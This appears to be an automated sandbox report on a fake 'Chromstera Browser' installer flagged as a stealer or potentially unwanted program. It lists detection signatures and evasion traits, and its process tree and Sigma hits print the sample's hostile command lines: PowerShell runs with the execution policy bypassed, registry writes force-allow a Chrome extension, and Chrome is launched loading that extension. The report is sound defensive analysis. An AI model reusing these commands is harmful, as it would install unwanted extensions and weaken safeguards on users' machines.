Edit tour

Windows Analysis Report
setup.exe

Overview

General Information

Sample name:	setup.exe
Analysis ID:	1544057
MD5:	8aca54559265d2a9ad0a810c425c644f
SHA1:	39d22f9333c9682bb860cf644d66996f7a641666
SHA256:	af11a10ef1964b801f070d073cf89f3b4e6eecab2943af9cb011151df65ecfd2
Infos:

Detection

Score:	81
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Compliance

Score:	49
Range:	0 - 100

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected MalDoc

Yara detected Powershell download and execute

Bypasses PowerShell execution policy

Contains functionality to detect sleep reduction / modifications

Drops executables to the windows directory (C:\Windows) and starts them

Sigma detected: Script Interpreter Execution From Suspicious Folder

Sigma detected: Suspicious Chromium Browser Instance Executed With Custom Extension

Sigma detected: Suspicious Script Execution From Temp Folder

Uses cmd line tools excessively to alter registry or file data

Adds / modifies Windows certificates

Binary contains a suspicious time stamp

Checks for available system drives (often done to infect USB drives)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to dynamically determine API calls

Contains functionality to launch a program with higher privileges

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Deletes files inside the Windows folder

Detected non-DNS traffic on DNS port

Detected potential crypto function

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain checking for process token information

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Installs a Chrome extension

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check if the current machine is a sandbox (GetTickCount - Sleep)

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains sections with non-standard names

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Always Install Elevated MSI Spawned Cmd And Powershell

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Chromium Browser Instance Executed With Custom Extension

Sigma detected: Suspicious MsiExec Embedding Parent

Stores large binary data to the registry

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses reg.exe to modify the Windows registry

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

setup.exe (PID: 7404 cmdline: "C:\Users\user\Desktop\setup.exe" MD5: 8ACA54559265D2A9AD0A810C425C644F)

setup.exe (PID: 7728 cmdline: "C:\Users\user\Desktop\setup.exe" /i "C:\Users\user\AppData\Roaming\Chromstera Solutions\Chromstera Browser 1.0.0.0\install\Chromnius-Main.msi" AI_EUIMSI=1 APPDIR="C:\Program Files (x86)\Chromstera Browser" SECONDSEQUENCE="1" CLIENTPROCESSID="7404" AI_MORE_CMD_LINE=1 MD5: 8ACA54559265D2A9AD0A810C425C644F)

msiexec.exe (PID: 7496 cmdline: C:\Windows\system32\msiexec.exe /V MD5: E5DA170027542E25EDE42FC54C929077)

msiexec.exe (PID: 7540 cmdline: C:\Windows\syswow64\MsiExec.exe -Embedding DD3B85FC1F11BB110F90DDDEF4702234 C MD5: 9D09DC1EDA745A5F87553048E57620CF)

msiexec.exe (PID: 7812 cmdline: C:\Windows\syswow64\MsiExec.exe -Embedding C76E3ECFDACF14783EC0EC85D3ECBB2C MD5: 9D09DC1EDA745A5F87553048E57620CF)

powershell.exe (PID: 5480 cmdline: -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pssED0B.ps1" -propFile "C:\Users\user\AppData\Local\Temp\msiECF7.txt" -scriptFile "C:\Users\user\AppData\Local\Temp\scrECF8.ps1" -scriptArgsFile "C:\Users\user\AppData\Local\Temp\scrECF9.txt" -propSep " :<->: " -lineSep " <<:>> " -testPrefix "_testValue." MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 2120 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7488 cmdline: -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss1394.ps1" -propFile "C:\Users\user\AppData\Local\Temp\msi1332.txt" -scriptFile "C:\Users\user\AppData\Local\Temp\scr1333.ps1" -scriptArgsFile "C:\Users\user\AppData\Local\Temp\scr1334.txt" -propSep " :<->: " -lineSep " <<:>> " -testPrefix "_testValue." MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 5000 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

msiexec.exe (PID: 7912 cmdline: C:\Windows\syswow64\MsiExec.exe -Embedding CB2789DE8A953DFC6FBB92EF73C3F598 E Global\MSI0000 MD5: 9D09DC1EDA745A5F87553048E57620CF)

powershell.exe (PID: 7964 cmdline: -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Windows\SystemTemp\pssD27E.ps1" -propFile "C:\Windows\SystemTemp\msiD25B.txt" -scriptFile "C:\Windows\SystemTemp\scrD25C.ps1" -scriptArgsFile "C:\Windows\SystemTemp\scrD25D.txt" -propSep " :<->: " -lineSep " <<:>> " -testPrefix "_testValue." MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7972 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

MSI4739.tmp (PID: 7176 cmdline: "C:\Windows\Installer\MSI4739.tmp" /EnforcedRunAsAdmin /RunAsAdmin /HideWindow /dir "C:\Users\user\AppData\Local\Temp\" "C:\Users\user\AppData\Local\Temp\chrome.bat" MD5: 514314174B6F6A3AB2195C456B83AA1E)

cmd.exe (PID: 7840 cmdline: "C:\Windows\System32\cmd.exe" /C ""C:\Users\user\AppData\Local\Temp\chrome.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7848 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 1196 cmdline: REG ADD "\Policies\Google\Chrome\ExtensionInstallAllowlist" /v "1" /t REG_SZ /d /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)

reg.exe (PID: 7944 cmdline: REG ADD "\Google\Chrome\Extensions\" /v "path" /t REG_SZ /d /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)

reg.exe (PID: 2416 cmdline: REG ADD "\Google\Chrome\Extensions\" /v "version" /t REG_SZ /d /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)

reg.exe (PID: 3332 cmdline: REG ADD "\Policies\Google\Chrome\ExtensionInstallAllowlist" /v "1" /t REG_SZ /d /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)

reg.exe (PID: 7980 cmdline: REG ADD "\Google\Chrome\Extensions\" /v "path" /t REG_SZ /d /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)

reg.exe (PID: 5472 cmdline: REG ADD "\Google\Chrome\Extensions\" /v "version" /t REG_SZ /d /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)

chrome.exe (PID: 8064 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --profile-directory="Default" --no-startup-window --load-extension="C:\apps-helper" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 5804 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2060 --field-trial-handle=2012,i,10222868034098351333,13685129222229150854,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

timeout.exe (PID: 5852 cmdline: timeout 2 MD5: 100065E21CFBBDE57CBA2838921F84D6)

timeout.exe (PID: 6408 cmdline: timeout 2 MD5: 100065E21CFBBDE57CBA2838921F84D6)

timeout.exe (PID: 6220 cmdline: timeout 2 MD5: 100065E21CFBBDE57CBA2838921F84D6)

timeout.exe (PID: 1376 cmdline: timeout 2 MD5: 100065E21CFBBDE57CBA2838921F84D6)

timeout.exe (PID: 7768 cmdline: timeout 2 MD5: 100065E21CFBBDE57CBA2838921F84D6)

timeout.exe (PID: 764 cmdline: timeout 2 MD5: 100065E21CFBBDE57CBA2838921F84D6)

timeout.exe (PID: 7624 cmdline: timeout 2 MD5: 100065E21CFBBDE57CBA2838921F84D6)

timeout.exe (PID: 5560 cmdline: timeout 2 MD5: 100065E21CFBBDE57CBA2838921F84D6)

timeout.exe (PID: 5272 cmdline: timeout 2 MD5: 100065E21CFBBDE57CBA2838921F84D6)

timeout.exe (PID: 2308 cmdline: timeout 2 MD5: 100065E21CFBBDE57CBA2838921F84D6)

timeout.exe (PID: 6260 cmdline: timeout 2 MD5: 100065E21CFBBDE57CBA2838921F84D6)

timeout.exe (PID: 3248 cmdline: timeout 2 MD5: 100065E21CFBBDE57CBA2838921F84D6)

timeout.exe (PID: 6636 cmdline: timeout 2 MD5: 100065E21CFBBDE57CBA2838921F84D6)

timeout.exe (PID: 7112 cmdline: timeout 2 MD5: 100065E21CFBBDE57CBA2838921F84D6)

timeout.exe (PID: 5560 cmdline: timeout 2 MD5: 100065E21CFBBDE57CBA2838921F84D6)

timeout.exe (PID: 7288 cmdline: timeout 2 MD5: 100065E21CFBBDE57CBA2838921F84D6)

timeout.exe (PID: 5928 cmdline: timeout 2 MD5: 100065E21CFBBDE57CBA2838921F84D6)

timeout.exe (PID: 2736 cmdline: timeout 2 MD5: 100065E21CFBBDE57CBA2838921F84D6)

timeout.exe (PID: 3096 cmdline: timeout 2 MD5: 100065E21CFBBDE57CBA2838921F84D6)

timeout.exe (PID: 3448 cmdline: timeout 2 MD5: 100065E21CFBBDE57CBA2838921F84D6)

timeout.exe (PID: 1012 cmdline: timeout 5 MD5: 100065E21CFBBDE57CBA2838921F84D6)

MSIFB77.tmp (PID: 6236 cmdline: "C:\Windows\Installer\MSIFB77.tmp" /EnforcedRunAsAdmin /RunAsAdmin /HideWindow /dir "C:\Users\user\AppData\Local\Temp\" "C:\Users\user\AppData\Local\Temp\edge.bat" MD5: 514314174B6F6A3AB2195C456B83AA1E)

cmd.exe (PID: 6484 cmdline: "C:\Windows\System32\cmd.exe" /C ""C:\Users\user\AppData\Local\Temp\edge.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6504 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ChromsteraUpdater.exe (PID: 8100 cmdline: "C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe" MD5: 427C459E138B4F33819558D451E8500E)

svchost.exe (PID: 8056 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

chrome.exe (PID: 7668 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-startup-window /prefetch:5 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 5376 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2064 --field-trial-handle=2012,i,17522224552689378138,6417613085102451852,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 4464 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-startup-window /prefetch:5 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 3164 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2044 --field-trial-handle=1992,i,14024855596687576691,10802708795507051728,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
setup.exe	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\Windows\Installer\6bc77d.msi	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
C:\Windows\Installer\6bc77d.msi	JoeSecurity_MalDoc	Yara detected MalDoc	Joe Security
C:\Windows\Installer\MSICC46.tmp	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
C:\Users\user\AppData\Roaming\Chromstera Solutions\Chromstera Browser 1.0.0.0\install\Chromnius-Main.msi	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
C:\Users\user\AppData\Roaming\Chromstera Solutions\Chromstera Browser 1.0.0.0\install\Chromnius-Main.msi	JoeSecurity_MalDoc	Yara detected MalDoc	Joe Security

Memory Dumps

Source	Rule	Description	Author
Process Memory Space: setup.exe PID: 7404	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: setup.exe PID: 7728	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 7964	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Other

Source	Rule	Description	Author	Strings
amsi64_7964.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Sigma Signatures

System Summary

Sigma detected: Script Interpreter Execution From Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pssED0B.ps1" -propFile "C:\Users\user\AppData\Local\Temp\msiECF7.txt" -scriptFile "C:\Users\user\AppData\Local\Temp\scrECF8.ps1" -scriptArgsFile "C:\Users\user\AppData\Local\Temp\scrECF9.txt" -propSep " :<->: " -lineSep " <<:>> " -testPrefix "_testValue.", CommandLine: -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pssED0B.ps1" -propFile "C:\Users\user\AppData\Local\Temp\msiECF7.txt" -scriptFile "C:\Users\user\AppData\Local\Temp\scrECF8.ps1" -scriptArgsFile "C:\Users\user\AppData\Local\Temp\scrECF9.txt" -propSep " :<->: " -lineSep " <<:>> " -testPrefix "_testValue.", CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\syswow64\MsiExec.exe -Embedding C76E3ECFDACF14783EC0EC85D3ECBB2C, ParentImage: C:\Windows\SysWOW64\msiexec.exe, ParentProcessId: 7812, ParentProcessName: msiexec.exe, ProcessCommandLine: -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pssED0B.ps1" -propFile "C:\Users\user\AppData\Local\Temp\msiECF7.txt" -scriptFile "C:\Users\user\AppData\Local\Temp\scrECF8.ps1" -scriptArgsFile "C:\Users\user\AppData\Local\Temp\scrECF9.txt" -propSep " :<->: " -lineSep " <<:>> " -testPrefix "_testValue.", ProcessId: 5480, ProcessName: powershell.exe

Sigma detected: Suspicious Chromium Browser Instance Executed With Custom Extension

Source: Process started

Author: Aedan Russell, frack113, X__Junior (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --profile-directory="Default" --no-startup-window --load-extension="C:\apps-helper", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --profile-directory="Default" --no-startup-window --load-extension="C:\apps-helper", CommandLine|base64offset|contains: Zv, Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /C ""C:\Users\user\AppData\Local\Temp\chrome.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7840, ParentProcessName: cmd.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --profile-directory="Default" --no-startup-window --load-extension="C:\apps-helper", ProcessId: 8064, ProcessName: chrome.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pssED0B.ps1" -propFile "C:\Users\user\AppData\Local\Temp\msiECF7.txt" -scriptFile "C:\Users\user\AppData\Local\Temp\scrECF8.ps1" -scriptArgsFile "C:\Users\user\AppData\Local\Temp\scrECF9.txt" -propSep " :<->: " -lineSep " <<:>> " -testPrefix "_testValue.", CommandLine: -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pssED0B.ps1" -propFile "C:\Users\user\AppData\Local\Temp\msiECF7.txt" -scriptFile "C:\Users\user\AppData\Local\Temp\scrECF8.ps1" -scriptArgsFile "C:\Users\user\AppData\Local\Temp\scrECF9.txt" -propSep " :<->: " -lineSep " <<:>> " -testPrefix "_testValue.", CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\syswow64\MsiExec.exe -Embedding C76E3ECFDACF14783EC0EC85D3ECBB2C, ParentImage: C:\Windows\SysWOW64\msiexec.exe, ParentProcessId: 7812, ParentProcessName: msiexec.exe, ProcessCommandLine: -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pssED0B.ps1" -propFile "C:\Users\user\AppData\Local\Temp\msiECF7.txt" -scriptFile "C:\Users\user\AppData\Local\Temp\scrECF8.ps1" -scriptArgsFile "C:\Users\user\AppData\Local\Temp\scrECF9.txt" -propSep " :<->: " -lineSep " <<:>> " -testPrefix "_testValue.", ProcessId: 5480, ProcessName: powershell.exe

Sigma detected: Always Install Elevated MSI Spawned Cmd And Powershell

Source: Process started

Author: Teymur Kheirkhabarov (idea), Mangatas Tondang (rule), oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /C ""C:\Users\user\AppData\Local\Temp\chrome.bat" ", CommandLine: "C:\Windows\System32\cmd.exe" /C ""C:\Users\user\AppData\Local\Temp\chrome.bat" ", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Windows\Installer\MSI4739.tmp" /EnforcedRunAsAdmin /RunAsAdmin /HideWindow /dir "C:\Users\user\AppData\Local\Temp\" "C:\Users\user\AppData\Local\Temp\chrome.bat", ParentImage: C:\Windows\Installer\MSI4739.tmp, ParentProcessId: 7176, ParentProcessName: MSI4739.tmp, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /C ""C:\Users\user\AppData\Local\Temp\chrome.bat" ", ProcessId: 7840, ProcessName: cmd.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Windows\SystemTemp\pssD27E.ps1" -propFile "C:\Windows\SystemTemp\msiD25B.txt" -scriptFile "C:\Windows\SystemTemp\scrD25C.ps1" -scriptArgsFile "C:\Windows\SystemTemp\scrD25D.txt" -propSep " :<->: " -lineSep " <<:>> " -testPrefix "_testValue.", CommandLine: -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Windows\SystemTemp\pssD27E.ps1" -propFile "C:\Windows\SystemTemp\msiD25B.txt" -scriptFile "C:\Windows\SystemTemp\scrD25C.ps1" -scriptArgsFile "C:\Windows\SystemTemp\scrD25D.txt" -propSep " :<->: " -lineSep " <<:>> " -testPrefix "_testValue.", CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\syswow64\MsiExec.exe -Embedding CB2789DE8A953DFC6FBB92EF73C3F598 E Global\MSI0000, ParentImage: C:\Windows\SysWOW64\msiexec.exe, ParentProcessId: 7912, ParentProcessName: msiexec.exe, ProcessCommandLine: -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Windows\SystemTemp\pssD27E.ps1" -propFile "C:\Windows\SystemTemp\msiD25B.txt" -scriptFile "C:\Windows\SystemTemp\scrD25C.ps1" -scriptArgsFile "C:\Windows\SystemTemp\scrD25D.txt" -propSep " :<->: " -lineSep " <<:>> " -testPrefix "_testValue.", ProcessId: 7964, ProcessName: powershell.exe

Sigma detected: Chromium Browser Instance Executed With Custom Extension

Source: Process started

Sigma detected: Suspicious MsiExec Embedding Parent

Source: Process started

Author: frack113: Data: Command: -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pssED0B.ps1" -propFile "C:\Users\user\AppData\Local\Temp\msiECF7.txt" -scriptFile "C:\Users\user\AppData\Local\Temp\scrECF8.ps1" -scriptArgsFile "C:\Users\user\AppData\Local\Temp\scrECF9.txt" -propSep " :<->: " -lineSep " <<:>> " -testPrefix "_testValue.", CommandLine: -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pssED0B.ps1" -propFile "C:\Users\user\AppData\Local\Temp\msiECF7.txt" -scriptFile "C:\Users\user\AppData\Local\Temp\scrECF8.ps1" -scriptArgsFile "C:\Users\user\AppData\Local\Temp\scrECF9.txt" -propSep " :<->: " -lineSep " <<:>> " -testPrefix "_testValue.", CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\syswow64\MsiExec.exe -Embedding C76E3ECFDACF14783EC0EC85D3ECBB2C, ParentImage: C:\Windows\SysWOW64\msiexec.exe, ParentProcessId: 7812, ParentProcessName: msiexec.exe, ProcessCommandLine: -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pssED0B.ps1" -propFile "C:\Users\user\AppData\Local\Temp\msiECF7.txt" -scriptFile "C:\Users\user\AppData\Local\Temp\scrECF8.ps1" -scriptArgsFile "C:\Users\user\AppData\Local\Temp\scrECF9.txt" -propSep " :<->: " -lineSep " <<:>> " -testPrefix "_testValue.", ProcessId: 5480, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Windows\SystemTemp\pssD27E.ps1" -propFile "C:\Windows\SystemTemp\msiD25B.txt" -scriptFile "C:\Windows\SystemTemp\scrD25C.ps1" -scriptArgsFile "C:\Windows\SystemTemp\scrD25D.txt" -propSep " :<->: " -lineSep " <<:>> " -testPrefix "_testValue.", CommandLine: -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Windows\SystemTemp\pssD27E.ps1" -propFile "C:\Windows\SystemTemp\msiD25B.txt" -scriptFile "C:\Windows\SystemTemp\scrD25C.ps1" -scriptArgsFile "C:\Windows\SystemTemp\scrD25D.txt" -propSep " :<->: " -lineSep " <<:>> " -testPrefix "_testValue.", CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\syswow64\MsiExec.exe -Embedding CB2789DE8A953DFC6FBB92EF73C3F598 E Global\MSI0000, ParentImage: C:\Windows\SysWOW64\msiexec.exe, ParentProcessId: 7912, ParentProcessName: msiexec.exe, ProcessCommandLine: -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Windows\SystemTemp\pssD27E.ps1" -propFile "C:\Windows\SystemTemp\msiD25B.txt" -scriptFile "C:\Windows\SystemTemp\scrD25C.ps1" -scriptArgsFile "C:\Windows\SystemTemp\scrD25D.txt" -propSep " :<->: " -lineSep " <<:>> " -testPrefix "_testValue.", ProcessId: 7964, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 8056, ProcessName: svchost.exe

Suricata Signatures

ETPRO MALWARE MSIL/Zbrain PUP/Stealer Installer UA

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T19:11:31.949011+0100	2829202	1	A Network Trojan was detected	192.168.2.4	49734	104.21.8.139	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: setup.exe

Avira: detected

Multi AV Scanner detection for submitted file

Source: setup.exe

ReversingLabs: Detection: 41%

Compliance

Uses 32bit PE files

Source: setup.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Creates a software uninstall entry

Source: C:\Windows\System32\msiexec.exe

Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Chromstera Browser 1.0.0.0

Jump to behavior

PE / OLE file has a valid certificate

Source: setup.exe

Static PE information: certificate valid

Uses secure TLS version for HTTPS connections

Source: unknown	HTTPS traffic detected: 104.21.8.139:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.253.45:443 -> 192.168.2.4:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.4:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.253.45:443 -> 192.168.2.4:59273 version: TLS 1.2

Contains modern PE file flags such as dynamic base (ASLR) or NX

Source: setup.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Binary contains paths to debug symbols

Source:	Binary string: wininet.pdb source: setup.exe, 00000000.00000003.1719958497.0000000005251000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000003.00000003.1746421738.00000000039F2000.00000004.00000020.00020000.00000000.sdmp, shi3105.tmp.0.dr
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.pdbR source: powershell.exe, 00000006.00000002.1831930535.000002526E09C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\PowerShellScriptLauncher.pdbg source: setup.exe, MSIEC26.tmp.1.dr, Chromnius-Main.msi.0.dr
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\viewer.pdbD source: setup.exe, viewer.exe.0.dr, Chromnius-Main.msi.0.dr
Source:	Binary string: n.pdb" source: powershell.exe, 00000006.00000002.1831930535.000002526E09C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdb source: powershell.exe, 00000006.00000002.1833673011.000002526E346000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\System.pdbpdbtem.pdb source: powershell.exe, 00000006.00000002.1833673011.000002526E346000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 31bf3856ad364e35corlib.pdb source: powershell.exe, 00000006.00000002.1833673011.000002526E2D6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\ReleaseAI\win\Release\stubs\x86\Updater.pdb source: ChromsteraUpdater.exe, 00000008.00000000.1793999764.00000000001A8000.00000002.00000001.01000000.0000000C.sdmp, ChromsteraUpdater.exe, 00000008.00000002.1810635597.00000000001A8000.00000002.00000001.01000000.0000000C.sdmp
